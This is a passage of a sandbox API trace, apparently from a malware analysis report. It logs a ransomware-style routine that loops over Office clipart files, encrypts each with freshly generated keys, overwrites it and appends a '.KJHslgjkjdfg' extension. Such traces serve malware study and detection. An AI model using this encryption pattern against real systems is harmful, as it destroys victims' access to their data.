lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.012] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.012] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.012] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.012] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.012] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.012] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.012] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4e46, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4e46, lpOverlapped=0x0) returned 1 [0203.014] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4e50, dwBufLen=0x4e50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4e50) returned 1 [0203.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.014] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4e50, lpOverlapped=0x0) returned 1 [0203.014] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.015] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4f24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.015] SetEndOfFile (hFile=0x130) returned 1 [0203.017] GetProcessHeap () returned 0x2ef0000 [0203.017] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.017] GetProcessHeap () returned 0x2ef0000 [0203.018] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.018] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf.kjhslgjkjdfg")) returned 1 [0203.019] CloseHandle (hObject=0x130) returned 1 [0203.019] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185776.WMF", cAlternateFileName="")) returned 1 [0203.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.020] GetProcessHeap () returned 0x2ef0000 [0203.020] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.020] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.020] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.020] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.023] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.023] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.023] GetProcessHeap () returned 0x2ef0000 [0203.023] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.023] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.023] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.023] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.023] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.023] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.023] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.023] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.024] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.024] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.024] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.024] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x69d8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x69d8, lpOverlapped=0x0) returned 1 [0203.025] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x69e0, dwBufLen=0x69e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x69e0) returned 1 [0203.025] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.025] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x69e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x69e0, lpOverlapped=0x0) returned 1 [0203.026] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.026] SetEndOfFile (hFile=0x130) returned 1 [0203.029] GetProcessHeap () returned 0x2ef0000 [0203.029] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.029] GetProcessHeap () returned 0x2ef0000 [0203.029] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf.kjhslgjkjdfg")) returned 1 [0203.030] CloseHandle (hObject=0x130) returned 1 [0203.030] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185778.WMF", cAlternateFileName="")) returned 1 [0203.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.032] GetProcessHeap () returned 0x2ef0000 [0203.032] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.032] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.032] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.032] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.032] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.032] GetProcessHeap () returned 0x2ef0000 [0203.033] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.033] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.033] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.033] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.035] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.035] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.035] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.035] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.036] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.036] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.036] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.036] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.036] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x62e0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x62e0, lpOverlapped=0x0) returned 1 [0203.037] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x62e0, dwBufLen=0x62e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x62e0) returned 1 [0203.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.037] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x62e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x62e0, lpOverlapped=0x0) returned 1 [0203.038] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x63b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.038] SetEndOfFile (hFile=0x130) returned 1 [0203.041] GetProcessHeap () returned 0x2ef0000 [0203.041] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.041] GetProcessHeap () returned 0x2ef0000 [0203.041] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.041] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf.kjhslgjkjdfg")) returned 1 [0203.043] CloseHandle (hObject=0x130) returned 1 [0203.043] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe956, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185780.WMF", cAlternateFileName="")) returned 1 [0203.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.044] GetProcessHeap () returned 0x2ef0000 [0203.044] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.044] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.044] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0203.046] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.046] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.046] GetProcessHeap () returned 0x2ef0000 [0203.046] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.046] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.047] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.047] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.047] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.047] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.047] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.047] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.047] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.047] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.047] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.047] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.047] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe956, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe956, lpOverlapped=0x0) returned 1 [0203.049] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe960, dwBufLen=0xe960 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe960) returned 1 [0203.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.050] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe960, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe960, lpOverlapped=0x0) returned 1 [0203.050] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xea34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.050] SetEndOfFile (hFile=0x130) returned 1 [0203.053] GetProcessHeap () returned 0x2ef0000 [0203.053] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.053] GetProcessHeap () returned 0x2ef0000 [0203.053] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.053] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf.kjhslgjkjdfg")) returned 1 [0203.054] CloseHandle (hObject=0x130) returned 1 [0203.054] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185786.WMF", cAlternateFileName="")) returned 1 [0203.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.055] GetProcessHeap () returned 0x2ef0000 [0203.055] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.055] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.055] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.055] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0203.060] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.060] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.060] GetProcessHeap () returned 0x2ef0000 [0203.060] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.060] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.060] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.060] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.060] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.060] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.061] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.061] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.061] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.061] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 